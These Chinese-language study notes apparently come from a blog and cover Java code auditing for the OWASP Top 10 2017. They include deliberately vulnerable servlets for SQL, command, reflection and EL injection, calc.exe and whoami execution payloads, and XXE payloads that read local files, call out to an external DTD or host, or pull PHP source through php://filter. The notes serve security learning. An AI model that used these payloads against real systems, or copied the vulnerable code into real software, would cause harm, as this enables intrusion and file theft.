第五章 OWASP TOP 10 2017 漏洞代码审计
1.sql注入
jdbc拼接不当引起的sql注入,主要用到PreparedStatement
自己写个案例试一下
用Servlet的案例
先写个工具类
package util; import java.sql.*; public class DBConn { static String url = "jdbc:mysql://localhost:3306/yourdatabase?useUnicode=true&characterEncoding=utf8"; static String user ="root"; static String password ="123456"; static Connection conn=null; static ResultSet rs=null; static PreparedStatement ps = null; public static void init(){ try { Class.forName("com.mysql.jdbc.Driver"); conn= DriverManager.getConnection(url, user, password); } catch (Exception e) { // TODO: handle exception System.out.println("初始化失败"); e.printStackTrace(); } } /** * 增加修改删除操作 * @param sql * @return */ public static int addUpdDel(String sql){ int i=0; try { PreparedStatement ps = conn.prepareStatement(sql); i=ps.executeUpdate(); } catch (SQLException e) { // TODO Auto-generated catch block System.out.println("sql数据库增删改异常"); e.printStackTrace(); } return i; } //数据库查询操作 public static ResultSet selectSql(String sql){ try { ps=conn.prepareStatement(sql); rs=ps.executeQuery(sql); } catch (SQLException e) { // TODO Auto-generated catch block System.out.println("sql数据库查询异常"); e.printStackTrace(); } return rs; } //关闭连接 public static void closeConn(){ try { ps.close(); conn.close(); } catch (SQLException e) { // TODO Auto-generated catch block System.out.println("sql数据库关闭异常"); e.printStackTrace(); } } }
再写个servlet
@WebServlet("/sqltest")
public class JdbcSqlInject extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
String sql="select * from user_domain where id="+req.getParameter("id");
resp.getWriter().write(sql);
try{
DBConn.init();
ResultSet rs=DBConn.selectSql(sql);
while (rs.next()){
String name=rs.getString("user");
resp.getWriter().write("\n");
resp.getWriter().write(name);
}
} catch (SQLException throwables) {
throwables.printStackTrace();
}
}
}
引入驱动mysql-connector-java-5.1.46.jar
访问:
http://localhost:8080/ServletTest/sqltest?id=1%20or%201=1
注入成功
正确的做法
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String sql = "select * from user_domain where id=?";
String id = req.getParameter("id");
resp.getWriter().write(sql);
try {
DBConn.init();
ResultSet rs = DBConn.selectSql(sql, id);
while(rs.next()) {
String name = rs.getString("user");
resp.getWriter().write("\n");
resp.getWriter().write(name);
}
} catch (SQLException var7) {
var7.printStackTrace();
}
}
//数据库查询操作
public static ResultSet selectSql(String sql,String id){
try {
ps=conn.prepareStatement(sql);
ps.setInt(1,Integer.parseInt(id));
rs=ps.executeQuery();
} catch (SQLException e) {
// TODO Auto-generated catch block
System.out.println("sql数据库查询异常");
e.printStackTrace();
}
return rs;
}
框架注入mybatis 之前实践过,就省略了
https://www.cnblogs.com/fczlm/p/14273064.html
Hibernate遇到的比较少,暂时省略
命令注入
写一个命令注入的Servlet
import org.omg.SendingContext.RunTime;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Arrays;
@WebServlet("/ComTest")
public class ComTest extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
String cmd =req.getParameter("cmd");
Process process= Runtime.getRuntime().exec(cmd);
InputStream in= process.getInputStream();
ByteArrayOutputStream ba=new ByteArrayOutputStream();
byte[] b =new byte[1024];
int i =-1;
while ((i= in.read(b))!=-1){
ba.write(b,0,i);
}
resp.getWriter().write(ba.toString());
}
}
命令注入的局限
连接符:|,||,&,&&
java环境的命令注入局限,连接符拼接的字符串不会产生命令注入
代码注入
比如java的反射机制,凑一段这样的代码,然后执行http://localhost:8080/ServletTest/ReflexTest?name=java.lang.Runtime&method=getRuntime&method2=exec&args=whoami
就能执行任意命令了
@WebServlet("/ReflexTest")
public class ReflexTest extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
String class_name=req.getParameter("name");
String class_method=req.getParameter("method");
String class_method2=req.getParameter("method2");
String Args=req.getParameter("args");
//String[] Args=new String[]{req.getParameter("args").toString()};
try{
Class<?> clazz= Class.forName(class_name);
Method method=clazz.getMethod(class_method);
Object rt=method.invoke(clazz);
clazz.getMethod(class_method2,String.class).invoke(rt, Args);
} catch (ClassNotFoundException | NoSuchMethodException | InvocationTargetException | IllegalAccessException e) {
e.printStackTrace();
}
}
}
是不是觉得这就是你自己凑出来的,真实项目中哪有人给你这样设计好了等你日,嘿,还就真有
java反序列化命令执行中用到了Apache Commons cokkections组件3.1版本,有一段通过利用反射机制完成特定功能的代码。
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
那么回顾一下java反序列化命令执行。
首先我们引入Apache Commons cokkections的版本,尝试一下,用InvokerTransformer,到底能不能执行runtime
这里用spring boot maven引入吧,比较好搞一些
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
然后main下执行这样的代码:
InvokerTransformer test=new InvokerTransformer("exec",new Class[] {String.class},new Object[] {"calc.exe"});
Runtime rt=Runtime.getRuntime();
test.transform(rt);
可以确认一点transform是可以通过反射机制,执行Runtime从而命令执行的。
那如果transform传入的对象,我们可控,InvokerTransformer的对象中的内容也可控,那会怎么样?具体分析之前分析学习过https://www.cnblogs.com/fczlm/p/14293107.html
5.表达式注入
5.1EL表达式注入
是一种在JSP页面获取数据的简单方式(只能获取数据,不能设置数据)
语法格式
在JSP页面的任何静态部分均可通过:${expression}来获取到指定表达式的值
EL只能从四大域中获取属性
page,request,session,application
实例1:获取url参数
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>$Title$</title>
</head>
<body>
${param.name}
</body>
</html>
实例2,实例化java的内置类
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>$Title$</title>
</head>
<body>
${Runtime.getRuntime().exec("calc")}
</body>
</html>
EL表达式注入漏洞和SpEL、OGNL等表达式注入漏洞是一样的漏洞原理的,即表达式外部可控导致攻击者注入恶意表达式实现任意代码执行。
一般的,EL表达式注入漏洞的外部可控点入口都是在Java程序代码中,即Java程序中的EL表达式内容全部或部分是从外部获取的。
案例:
import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
public class Test {
public static void main(String[] args) {
ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
SimpleContext simpleContext = new SimpleContext();
// failed
// String exp = "${''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}";
// ok
String exp = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}";
ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);
System.out.println(valueExpression.getValue(simpleContext));
}
}
但是在实际场景中,是几乎没有也无法直接从外部控制JSP页面中的EL表达式的。而目前已知的EL表达式注入漏洞都是框架层面服务端执行的EL表达式外部可控导致的
5.1.2模板注入
略
5.2 失效的身份认证
略
5.3敏感信息泄露
略
5.4XXE
XML 的解析过程中若存在外部实体,若不添加安全的XML解析配置,则XML文档将包含来自外部 URI 的数据。这一行为将导致XML External Entity (XXE) 攻击,从而用于拒绝服务攻击,任意文件读取,扫内网扫描。
在Java中其实存在着非常多的解析XML的库,同时由于在Java应用中会大量地使用到XML,因此就会出现使用不同的库对XML继续解析,而编写这些代码的研发人员并没有相关的安全背景,所以就导致了层出不穷地Java XXE漏洞。
案例1:
DocumentBuilderFactory
案例
@PostMapping(value="/xxetest",produces = "application/xml;charset=UTF-8")
public void xxeTest(@RequestBody String xml) throws ParserConfigurationException, IOException, SAXException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder();
builder.parse(new InputSource(new StringReader(xml)));
}
POST http://127.0.0.1:8080/xxetest HTTP/1.1 User-Agent: Fiddler Content-Type: application/xml;charset=UTF-8 Host: 127.0.0.1:8080 Content-Length: 106 <?xml version="1.0"?> <!DOCTYPE creds SYSTEM "http://**.com/ssrf.php"> <creds>&b;</creds>
收到收到ssrf请求
User-Agent: Java/1.8.0_191 Host: ** Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive REMOTE_ADDR:** 2021/09/18 04/36/48pm
其他payload也记录下吧
有回显的
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> <creds>&goodies;</creds>
引入的外部的dtd
<?xml version="1.0"?> <!DOCTYPE creds SYSTEM "http://127.0.0.1/test/evil.dtd"> <creds>&b;</creds> ********** http://127.0.0.1/test/evil.dtd的数据 <!ENTITY b SYSTEM "file:///c:/windows/system.ini">
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY % goodies SYSTEM "http://127.0.0.1/test/evil.dtd"> %goodies; ]> <creds>&b;</creds> ******** evil.dtd <!ENTITY b SYSTEM "file:///c:/windows/system.ini">
php 的
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> ]> <creds>&goodies;</creds>
此外还有
SAXBuilder,
SAXParserFactory,
SAXReader
SAXTransformerFactory,
SchemaFactory,
TransformerFactory
ValidatorSample,
XMLReader
参考这个https://blog.spoock.com/2018/10/23/java-xxe/
5.5失效的访问控制
略
5.6不安全配置
略,但是之后要补充练习
5.7跨站脚本
略
5.8 不安全的反序列化
感觉描述的不太清晰,日后查查资料再练习下。
5.9使用含有已知漏洞的组件
略
5.10 CRLF注入
回车换行注入漏洞
<html>
<head>
<title>$Title$</title>
</head>
<body>
<%
String val=request.getParameter("val");
Logger log =Logger.getLogger("log");
log.setLevel(Level.INFO);
try{
int value =Integer.parseInt(val);
System.out.println(value);
}
catch (Exception e){
log.info("Filed"+val);
}
%>
</body>
</html>
浙公网安备 33010602011771号